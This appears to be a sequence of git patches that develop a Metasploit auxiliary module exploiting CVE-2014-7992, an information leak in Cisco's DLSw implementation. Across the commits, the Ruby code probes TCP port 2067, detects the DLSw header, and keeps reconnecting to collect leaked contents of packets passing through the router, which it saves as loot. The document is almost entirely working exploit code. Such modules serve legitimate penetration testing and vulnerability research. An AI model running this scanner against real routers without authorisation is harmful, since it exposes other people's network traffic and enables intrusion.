From 703e0486fbdb754c8e774a7c5eb7c7aaab39076c Mon Sep 17 00:00:00 2001 From: tate Date: Mon, 17 Nov 2014 20:35:54 -0700 Subject: [PATCH 01/12] Add DLSw leak capture module for CVE-2014-7992 --- .../scanner/dlsw/dlsw_leak_capture.rb | 97 +++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100644 modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb new file mode 100644 index 0000000000..345d3061b8 --- /dev/null +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -0,0 +1,97 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'socket' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Cisco DLSw information leak', + 'Description' => %q{ + This module implements the DLSw information leak retrieval. There is + a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains + that allows an unuthenticated remote attacker to retrieve the partial + contents of packets traversing a Cisco router with DLSw configured + and active. + }, + 'Author' => [ + 'Tate Hansen', # Vulnerability discovery + 'John McLeod', # Vulnerability discovery + 'Kyle Rainey', # Built lab to recreate vulnerability and help test + ], + 'References' => + [ + ['CVE', '2014-7992'], + ['URL', 'https://github.com/tatehansen/dlsw_exploit'], + ], + 'DisclosureDate' => 'Nov 17 2014', + 'License' => MSF_LICENSE, + ) + + register_options( + [ + Opt::RPORT(2067), + OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024]), + ], self.class) + end + + # Called when using check + def check_host(ip) + print_status "Checking for DLSw exposure" + connect + response = sock.recv(72) + disconnect + + if response.length > 0 + print_status("Cisco router appears vulnerable - DLSw data is returned when establishing a connection to #{rport}") + report_vuln({ + :host => rhost, + :port => rport, + :name => self.name, + :refs => self.references, + :info => "Module #{self.fullname} successfully leaked info" + }) + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + # Main method + def run_host(ip) + return unless check_host(ip) == Exploit::CheckCode::Vulnerable + + print_status("Going to run until we retrieve #{datastore['LEAK_AMOUNT']} bytes from #{ip}") + + dlsw_data = "" + until dlsw_data.length > datastore['LEAK_AMOUNT'] + connect + response = sock.recv(72) + if response + dlsw_data << response[18..72] # range of the leaked packet contents + end + disconnect + end + loot_and_report(dlsw_data) + end + + def loot_and_report(dlsw_data) + path = store_loot( + 'dlsw.packet.contents', + 'application/octet-stream', + rhost, + dlsw_data, + 'DLSw_leaked_data', + 'DLSw packet memory leak' + ) + print_status("DLSw data stored in #{path}") + end +end From 6b8b49ff982645fde5e001ae6160ddaabe9ea526 Mon Sep 17 00:00:00 2001 From: tate Date: Tue, 18 Nov 2014 15:03:18 -0700 Subject: [PATCH 02/12] improving metasploit module based on feedback --- .../scanner/dlsw/dlsw_leak_capture.rb | 26 ++++++++++--------- 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb index 345d3061b8..8f9c421563 100644 --- a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,16 +16,16 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'Cisco DLSw information leak', 'Description' => %q{ - This module implements the DLSw information leak retrieval. There is + This module implements the DLSw information leak retrieval. There is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains that allows an unuthenticated remote attacker to retrieve the partial - contents of packets traversing a Cisco router with DLSw configured - and active. + contents of packets traversing a Cisco router with DLSw configured + and active. }, 'Author' => [ 'Tate Hansen', # Vulnerability discovery 'John McLeod', # Vulnerability discovery - 'Kyle Rainey', # Built lab to recreate vulnerability and help test + 'Kyle Rainey', # Built lab to recreate vulnerability and help test ], 'References' => [ @@ -45,19 +45,19 @@ class Metasploit3 < Msf::Auxiliary # Called when using check def check_host(ip) - print_status "Checking for DLSw exposure" + print_status "Checking #{ip}:#{rport} for DLSw exposure" connect - response = sock.recv(72) + response = sock.recv(1024) disconnect - if response.length > 0 - print_status("Cisco router appears vulnerable - DLSw data is returned when establishing a connection to #{rport}") + if (response.length > 0) && (response =~ /IOS Software|cisco.com/) + print_status("The target Cisco router appears vulnerable, we detected parts of a Cisco IOS banner string emitted from #{ip}:#{rport}") report_vuln({ :host => rhost, :port => rport, :name => self.name, :refs => self.references, - :info => "Module #{self.fullname} successfully leaked info" + :info => "Module #{self.fullname} collected #{response.length} bytes" }) Exploit::CheckCode::Vulnerable else @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) return unless check_host(ip) == Exploit::CheckCode::Vulnerable - print_status("Going to run until we retrieve #{datastore['LEAK_AMOUNT']} bytes from #{ip}") + print_status("Going to run until we retrieve #{datastore['LEAK_AMOUNT']} bytes from #{ip}:#{rport}") dlsw_data = "" until dlsw_data.length > datastore['LEAK_AMOUNT'] @@ -92,6 +92,8 @@ class Metasploit3 < Msf::Auxiliary 'DLSw_leaked_data', 'DLSw packet memory leak' ) - print_status("DLSw data stored in #{path}") + print_status("DLSw leaked data from #{ip}:#{rport} stored in #{path}") end end + + From a05e05f81adb25b90bd08835d4344fbc9c2ec524 Mon Sep 17 00:00:00 2001 From: tate Date: Tue, 18 Nov 2014 17:03:48 -0700 Subject: [PATCH 03/12] prefixing all print statements with ip:rport --- modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb index 8f9c421563..8d560f4e3d 100644 --- a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -45,13 +45,13 @@ class Metasploit3 < Msf::Auxiliary # Called when using check def check_host(ip) - print_status "Checking #{ip}:#{rport} for DLSw exposure" + print_status "#{ip}:#{rport} Checking for DLSw exposure" connect response = sock.recv(1024) disconnect if (response.length > 0) && (response =~ /IOS Software|cisco.com/) - print_status("The target Cisco router appears vulnerable, we detected parts of a Cisco IOS banner string emitted from #{ip}:#{rport}") + print_status("#{ip}:#{rport} The target Cisco router appears vulnerable, parts of a Cisco IOS banner were emitted") report_vuln({ :host => rhost, :port => rport, @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) return unless check_host(ip) == Exploit::CheckCode::Vulnerable - print_status("Going to run until we retrieve #{datastore['LEAK_AMOUNT']} bytes from #{ip}:#{rport}") + print_status("#{ip}:#{rport} Going to run until we retrieve #{datastore['LEAK_AMOUNT']} bytes") dlsw_data = "" until dlsw_data.length > datastore['LEAK_AMOUNT'] @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Auxiliary 'DLSw_leaked_data', 'DLSw packet memory leak' ) - print_status("DLSw leaked data from #{ip}:#{rport} stored in #{path}") + print_status("#{ip}:#{rport} DLSw leaked data stored in #{path}") end end From 7d6e7a6bfa146dc5161859817f853450f8f3e7f1 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 18 Nov 2014 16:33:05 -0800 Subject: [PATCH 04/12] Minor Ruby style and module usability cleanup --- .../scanner/dlsw/dlsw_leak_capture.rb | 76 ++++++++++--------- 1 file changed, 41 insertions(+), 35 deletions(-) diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb index 8f9c421563..cc1f6eeda5 100644 --- a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -7,78 +7,86 @@ require 'msf/core' require 'socket' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize super( - 'Name' => 'Cisco DLSw information leak', - 'Description' => %q{ - This module implements the DLSw information leak retrieval. There is - a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains - that allows an unuthenticated remote attacker to retrieve the partial - contents of packets traversing a Cisco router with DLSw configured - and active. - }, + 'Name' => 'Cisco DLSw Information Leak Scanner', + 'Description' => %q( + This module implements the DLSw information leak retrieval. There is + a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains + that allows an unuthenticated remote attacker to retrieve the partial + contents of packets traversing a Cisco router with DLSw configured + and active. + ), 'Author' => [ 'Tate Hansen', # Vulnerability discovery 'John McLeod', # Vulnerability discovery - 'Kyle Rainey', # Built lab to recreate vulnerability and help test + 'Kyle Rainey' # Built lab to recreate vulnerability and help test ], 'References' => [ ['CVE', '2014-7992'], - ['URL', 'https://github.com/tatehansen/dlsw_exploit'], + ['URL', 'https://github.com/tatehansen/dlsw_exploit'] ], 'DisclosureDate' => 'Nov 17 2014', - 'License' => MSF_LICENSE, + 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(2067), - OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024]), + OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024]) ], self.class) end # Called when using check def check_host(ip) - print_status "Checking #{ip}:#{rport} for DLSw exposure" - connect - response = sock.recv(1024) - disconnect + peer = "#{ip}:#{rport}" + print_status("Checking #{peer} for DLSw exposure") + response = get_response - if (response.length > 0) && (response =~ /IOS Software|cisco.com/) - print_status("The target Cisco router appears vulnerable, we detected parts of a Cisco IOS banner string emitted from #{ip}:#{rport}") - report_vuln({ - :host => rhost, - :port => rport, - :name => self.name, - :refs => self.references, - :info => "Module #{self.fullname} collected #{response.length} bytes" - }) + if !response.blank? && (response =~ /IOS Software|cisco.com/) + print_good("#{peer}: The target Cisco router appears vulnerable: parts of a Cisco IOS banner detected") + report_vuln( + host: rhost, + port: rport, + name: name, + refs: references, + info: "Module #{fullname} collected #{response.length} bytes" + ) Exploit::CheckCode::Vulnerable else + if response.blank? + vprint_status("#{peer}: no response") + else + vprint_status("#{peer}: #{response.size}-byte response didn't contain any leaked data") + end Exploit::CheckCode::Safe end end + def get_response(size = 1024) + connect + response = sock.recv(size) + disconnect + response + end + # Main method def run_host(ip) return unless check_host(ip) == Exploit::CheckCode::Vulnerable - print_status("Going to run until we retrieve #{datastore['LEAK_AMOUNT']} bytes from #{ip}:#{rport}") + print_status("#{ip}:#{rport} Waiting for #{datastore['LEAK_AMOUNT']} bytes of leaked data") - dlsw_data = "" + dlsw_data = '' until dlsw_data.length > datastore['LEAK_AMOUNT'] - connect - response = sock.recv(72) - if response + response = get_response + unless response.blank? dlsw_data << response[18..72] # range of the leaked packet contents end - disconnect end loot_and_report(dlsw_data) end @@ -92,8 +100,6 @@ class Metasploit3 < Msf::Auxiliary 'DLSw_leaked_data', 'DLSw packet memory leak' ) - print_status("DLSw leaked data from #{ip}:#{rport} stored in #{path}") + print_status("#{ip}:#{rport}: DLSw leaked data stored in #{path}") end end - - From e2834519a3e6b3ab47a1614d12c8ee7599fa035d Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Tue, 18 Nov 2014 16:40:20 -0800 Subject: [PATCH 05/12] Minor Ruby style and module usability cleanup --- .../scanner/dlsw/dlsw_leak_capture.rb | 76 ++++++++++--------- 1 file changed, 41 insertions(+), 35 deletions(-) diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb index 8d560f4e3d..cc1f6eeda5 100644 --- a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -7,78 +7,86 @@ require 'msf/core' require 'socket' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize super( - 'Name' => 'Cisco DLSw information leak', - 'Description' => %q{ - This module implements the DLSw information leak retrieval. There is - a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains - that allows an unuthenticated remote attacker to retrieve the partial - contents of packets traversing a Cisco router with DLSw configured - and active. - }, + 'Name' => 'Cisco DLSw Information Leak Scanner', + 'Description' => %q( + This module implements the DLSw information leak retrieval. There is + a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains + that allows an unuthenticated remote attacker to retrieve the partial + contents of packets traversing a Cisco router with DLSw configured + and active. + ), 'Author' => [ 'Tate Hansen', # Vulnerability discovery 'John McLeod', # Vulnerability discovery - 'Kyle Rainey', # Built lab to recreate vulnerability and help test + 'Kyle Rainey' # Built lab to recreate vulnerability and help test ], 'References' => [ ['CVE', '2014-7992'], - ['URL', 'https://github.com/tatehansen/dlsw_exploit'], + ['URL', 'https://github.com/tatehansen/dlsw_exploit'] ], 'DisclosureDate' => 'Nov 17 2014', - 'License' => MSF_LICENSE, + 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(2067), - OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024]), + OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024]) ], self.class) end # Called when using check def check_host(ip) - print_status "#{ip}:#{rport} Checking for DLSw exposure" - connect - response = sock.recv(1024) - disconnect + peer = "#{ip}:#{rport}" + print_status("Checking #{peer} for DLSw exposure") + response = get_response - if (response.length > 0) && (response =~ /IOS Software|cisco.com/) - print_status("#{ip}:#{rport} The target Cisco router appears vulnerable, parts of a Cisco IOS banner were emitted") - report_vuln({ - :host => rhost, - :port => rport, - :name => self.name, - :refs => self.references, - :info => "Module #{self.fullname} collected #{response.length} bytes" - }) + if !response.blank? && (response =~ /IOS Software|cisco.com/) + print_good("#{peer}: The target Cisco router appears vulnerable: parts of a Cisco IOS banner detected") + report_vuln( + host: rhost, + port: rport, + name: name, + refs: references, + info: "Module #{fullname} collected #{response.length} bytes" + ) Exploit::CheckCode::Vulnerable else + if response.blank? + vprint_status("#{peer}: no response") + else + vprint_status("#{peer}: #{response.size}-byte response didn't contain any leaked data") + end Exploit::CheckCode::Safe end end + def get_response(size = 1024) + connect + response = sock.recv(size) + disconnect + response + end + # Main method def run_host(ip) return unless check_host(ip) == Exploit::CheckCode::Vulnerable - print_status("#{ip}:#{rport} Going to run until we retrieve #{datastore['LEAK_AMOUNT']} bytes") + print_status("#{ip}:#{rport} Waiting for #{datastore['LEAK_AMOUNT']} bytes of leaked data") - dlsw_data = "" + dlsw_data = '' until dlsw_data.length > datastore['LEAK_AMOUNT'] - connect - response = sock.recv(72) - if response + response = get_response + unless response.blank? dlsw_data << response[18..72] # range of the leaked packet contents end - disconnect end loot_and_report(dlsw_data) end @@ -92,8 +100,6 @@ class Metasploit3 < Msf::Auxiliary 'DLSw_leaked_data', 'DLSw packet memory leak' ) - print_status("#{ip}:#{rport} DLSw leaked data stored in #{path}") + print_status("#{ip}:#{rport}: DLSw leaked data stored in #{path}") end end - - From a4a1048f95d0eea933e56401e4bd4cff8c8b2428 Mon Sep 17 00:00:00 2001 From: tate Date: Wed, 19 Nov 2014 11:17:58 -0700 Subject: [PATCH 06/12] modified to get data collection off sock working --- .../scanner/dlsw/dlsw_leak_capture.rb | 38 ++++++++++++++++--- 1 file changed, 32 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb index cc1f6eeda5..e1fd5e19d0 100644 --- a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -38,13 +38,21 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(2067), - OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024]) + OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024]), + OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 5]) ], self.class) end + def peer + peer = "#{rhost}:#{rport}" + end + + def response_timeout + datastore['RESPONSE_TIMEOUT'] + end + # Called when using check def check_host(ip) - peer = "#{ip}:#{rport}" print_status("Checking #{peer} for DLSw exposure") response = get_response @@ -70,20 +78,37 @@ class Metasploit3 < Msf::Auxiliary def get_response(size = 1024) connect - response = sock.recv(size) + response = get_data(size) disconnect response end + # Borrowed from https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb + def get_data(length = -1) + + return sock.get_once(-1, response_timeout) if length == -1 + + to_receive = length + data = '' + while to_receive > 0 + temp = sock.get_once(to_receive, response_timeout) + break if temp.nil? + + data << temp + to_receive -= temp.length + end + data + end + # Main method def run_host(ip) return unless check_host(ip) == Exploit::CheckCode::Vulnerable - print_status("#{ip}:#{rport} Waiting for #{datastore['LEAK_AMOUNT']} bytes of leaked data") + print_status("#{peer}: Waiting for #{datastore['LEAK_AMOUNT']} bytes of leaked data") dlsw_data = '' until dlsw_data.length > datastore['LEAK_AMOUNT'] - response = get_response + response = get_response(72) unless response.blank? dlsw_data << response[18..72] # range of the leaked packet contents end @@ -100,6 +125,7 @@ class Metasploit3 < Msf::Auxiliary 'DLSw_leaked_data', 'DLSw packet memory leak' ) - print_status("#{ip}:#{rport}: DLSw leaked data stored in #{path}") + print_status("#{peer}: DLSw leaked data stored in #{path}") end end + From b9a274f869fa37ed337762dbd4aef5a909589a41 Mon Sep 17 00:00:00 2001 From: tate Date: Fri, 21 Nov 2014 18:58:02 -0700 Subject: [PATCH 07/12] improving DLSw detection --- modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb index e1fd5e19d0..eb4bf48dc8 100644 --- a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -56,7 +56,8 @@ class Metasploit3 < Msf::Auxiliary print_status("Checking #{peer} for DLSw exposure") response = get_response - if !response.blank? && (response =~ /IOS Software|cisco.com/) + dlsw_header = ["3148015b"].pack("H*") # => "\x31\x48\x01\x5b"" + if !response.blank? && (response[0..3] == dlsw_header) print_good("#{peer}: The target Cisco router appears vulnerable: parts of a Cisco IOS banner detected") report_vuln( host: rhost, @@ -86,6 +87,7 @@ class Metasploit3 < Msf::Auxiliary # Borrowed from https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb def get_data(length = -1) + print_status("Calling get_response") return sock.get_once(-1, response_timeout) if length == -1 to_receive = length @@ -128,4 +130,3 @@ class Metasploit3 < Msf::Auxiliary print_status("#{peer}: DLSw leaked data stored in #{path}") end end - From 57b04f96a7413f151751974e165cdf094d0c321e Mon Sep 17 00:00:00 2001 From: tate Date: Fri, 21 Nov 2014 23:54:00 -0700 Subject: [PATCH 08/12] working with DLSw protocol check --- .../scanner/dlsw/dlsw_leak_capture.rb | 46 +++++-------------- 1 file changed, 11 insertions(+), 35 deletions(-) diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb index eb4bf48dc8..4b9bcb145e 100644 --- a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -47,18 +47,21 @@ class Metasploit3 < Msf::Auxiliary peer = "#{rhost}:#{rport}" end - def response_timeout - datastore['RESPONSE_TIMEOUT'] + def get_response(size = 8) + connect + response = sock.get_once(size) + disconnect + response end # Called when using check def check_host(ip) print_status("Checking #{peer} for DLSw exposure") response = get_response - + dlsw_header = ["3148015b"].pack("H*") # => "\x31\x48\x01\x5b"" if !response.blank? && (response[0..3] == dlsw_header) - print_good("#{peer}: The target Cisco router appears vulnerable: parts of a Cisco IOS banner detected") + print_good("#{peer}: Detected DLSw protocol") report_vuln( host: rhost, port: rport, @@ -77,53 +80,26 @@ class Metasploit3 < Msf::Auxiliary end end - def get_response(size = 1024) - connect - response = get_data(size) - disconnect - response - end - - # Borrowed from https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb - def get_data(length = -1) - - print_status("Calling get_response") - return sock.get_once(-1, response_timeout) if length == -1 - - to_receive = length - data = '' - while to_receive > 0 - temp = sock.get_once(to_receive, response_timeout) - break if temp.nil? - - data << temp - to_receive -= temp.length - end - data - end - # Main method def run_host(ip) return unless check_host(ip) == Exploit::CheckCode::Vulnerable - print_status("#{peer}: Waiting for #{datastore['LEAK_AMOUNT']} bytes of leaked data") - dlsw_data = '' until dlsw_data.length > datastore['LEAK_AMOUNT'] response = get_response(72) - unless response.blank? - dlsw_data << response[18..72] # range of the leaked packet contents + unless response.blank? + dlsw_data << response[18..72] end end loot_and_report(dlsw_data) end - def loot_and_report(dlsw_data) + def loot_and_report(dlsw_leak) path = store_loot( 'dlsw.packet.contents', 'application/octet-stream', rhost, - dlsw_data, + dlsw_leak, 'DLSw_leaked_data', 'DLSw packet memory leak' ) From 9828598cb785153a2c520c719a40513b0ec0acb0 Mon Sep 17 00:00:00 2001 From: tate Date: Sat, 22 Nov 2014 00:28:56 -0700 Subject: [PATCH 09/12] removing timeout method and option --- modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb index 4b9bcb145e..1d35b3c754 100644 --- a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -38,8 +38,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(2067), - OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024]), - OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 5]) + OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024]) ], self.class) end @@ -106,3 +105,4 @@ class Metasploit3 < Msf::Auxiliary print_status("#{peer}: DLSw leaked data stored in #{path}") end end + From e9750e2df8c3b134b8167a3f0c3dabdc07d4e50e Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 24 Nov 2014 06:57:31 -0800 Subject: [PATCH 10/12] Minor style/usability cleanups --- .../scanner/dlsw/dlsw_leak_capture.rb | 36 ++++++++++--------- 1 file changed, 20 insertions(+), 16 deletions(-) diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb index 1d35b3c754..75739c7e8e 100644 --- a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary end def peer - peer = "#{rhost}:#{rport}" + "#{rhost}:#{rport}" end def get_response(size = 8) @@ -54,13 +54,24 @@ class Metasploit3 < Msf::Auxiliary end # Called when using check - def check_host(ip) - print_status("Checking #{peer} for DLSw exposure") + def check_host(_ip) + print_status("#{peer}: Checking for DLSw exposure") response = get_response - - dlsw_header = ["3148015b"].pack("H*") # => "\x31\x48\x01\x5b"" - if !response.blank? && (response[0..3] == dlsw_header) - print_good("#{peer}: Detected DLSw protocol") + + if response.blank? + vprint_status("#{peer}: no response") + Exploit::CheckCode::Safe + elsif response[0..3] == "\x31\x48\x01\x5b" + vprint_good("#{peer}: Detected DLSw protocol") + report_service( + host: rhost, + port: rport, + proto: 'tcp', + name: 'dlsw' + ) + # TODO: check that response has something that truly indicates it is vulnerable + # and not simply that it responded + print_good("#{peer}: leaked #{response.length} bytes") report_vuln( host: rhost, port: rport, @@ -70,11 +81,7 @@ class Metasploit3 < Msf::Auxiliary ) Exploit::CheckCode::Vulnerable else - if response.blank? - vprint_status("#{peer}: no response") - else - vprint_status("#{peer}: #{response.size}-byte response didn't contain any leaked data") - end + vprint_status("#{peer}: #{response.size}-byte response didn't contain any leaked data") Exploit::CheckCode::Safe end end @@ -86,9 +93,7 @@ class Metasploit3 < Msf::Auxiliary dlsw_data = '' until dlsw_data.length > datastore['LEAK_AMOUNT'] response = get_response(72) - unless response.blank? - dlsw_data << response[18..72] - end + dlsw_data << response[18..72] unless response.blank? end loot_and_report(dlsw_data) end @@ -105,4 +110,3 @@ class Metasploit3 < Msf::Auxiliary print_status("#{peer}: DLSw leaked data stored in #{path}") end end - From 3aecd3a10ef01af741778c2e0770012e2015083e Mon Sep 17 00:00:00 2001 From: tate Date: Wed, 3 Dec 2014 23:27:11 -0700 Subject: [PATCH 11/12] added DLSw v1 and v2 check, added check for \x00 in leak segment --- .../scanner/dlsw/dlsw_leak_capture.rb | 26 ++++++++++--------- 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb index 75739c7e8e..1a3de9ee88 100644 --- a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary "#{rhost}:#{rport}" end - def get_response(size = 8) + def get_response(size = 72) connect response = sock.get_once(size) disconnect @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Auxiliary if response.blank? vprint_status("#{peer}: no response") Exploit::CheckCode::Safe - elsif response[0..3] == "\x31\x48\x01\x5b" + elsif response[0..1] == "\x31\x48" || response[0..1] == "\x32\x48" vprint_good("#{peer}: Detected DLSw protocol") report_service( host: rhost, @@ -71,15 +71,17 @@ class Metasploit3 < Msf::Auxiliary ) # TODO: check that response has something that truly indicates it is vulnerable # and not simply that it responded - print_good("#{peer}: leaked #{response.length} bytes") - report_vuln( - host: rhost, - port: rport, - name: name, - refs: references, - info: "Module #{fullname} collected #{response.length} bytes" - ) - Exploit::CheckCode::Vulnerable + unless response[18..72].scan(/\x00/).length == 54 + print_good("#{peer}: leaked #{response.length} bytes") + report_vuln( + host: rhost, + port: rport, + name: name, + refs: references, + info: "Module #{fullname} collected #{response.length} bytes" + ) + Exploit::CheckCode::Vulnerable + end else vprint_status("#{peer}: #{response.size}-byte response didn't contain any leaked data") Exploit::CheckCode::Safe @@ -92,7 +94,7 @@ class Metasploit3 < Msf::Auxiliary dlsw_data = '' until dlsw_data.length > datastore['LEAK_AMOUNT'] - response = get_response(72) + response = get_response dlsw_data << response[18..72] unless response.blank? end loot_and_report(dlsw_data) From f0cfcd4faf540b09dd72a8ed3b9c46e2b937eded Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 4 Dec 2014 17:20:01 -0800 Subject: [PATCH 12/12] Update dlsw_leak_capture name and print_ This makes it more obvious exactly what is being scanned for --- modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb index 1a3de9ee88..5c56b1553f 100644 --- a/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb +++ b/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb @@ -13,10 +13,10 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Cisco DLSw Information Leak Scanner', + 'Name' => 'Cisco DLSw Information Disclosure Scanner', 'Description' => %q( - This module implements the DLSw information leak retrieval. There is - a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains + This module implements the DLSw information disclosure retrieval. There + is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains that allows an unuthenticated remote attacker to retrieve the partial contents of packets traversing a Cisco router with DLSw configured and active. @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Auxiliary # Called when using check def check_host(_ip) - print_status("#{peer}: Checking for DLSw exposure") + print_status("#{peer}: Checking for DLSw information disclosure (CVE-2014-7992)") response = get_response if response.blank? @@ -72,7 +72,7 @@ class Metasploit3 < Msf::Auxiliary # TODO: check that response has something that truly indicates it is vulnerable # and not simply that it responded unless response[18..72].scan(/\x00/).length == 54 - print_good("#{peer}: leaked #{response.length} bytes") + print_good("#{peer}: vulnerable to DLSw information disclosure; leaked #{response.length} bytes") report_vuln( host: rhost, port: rport,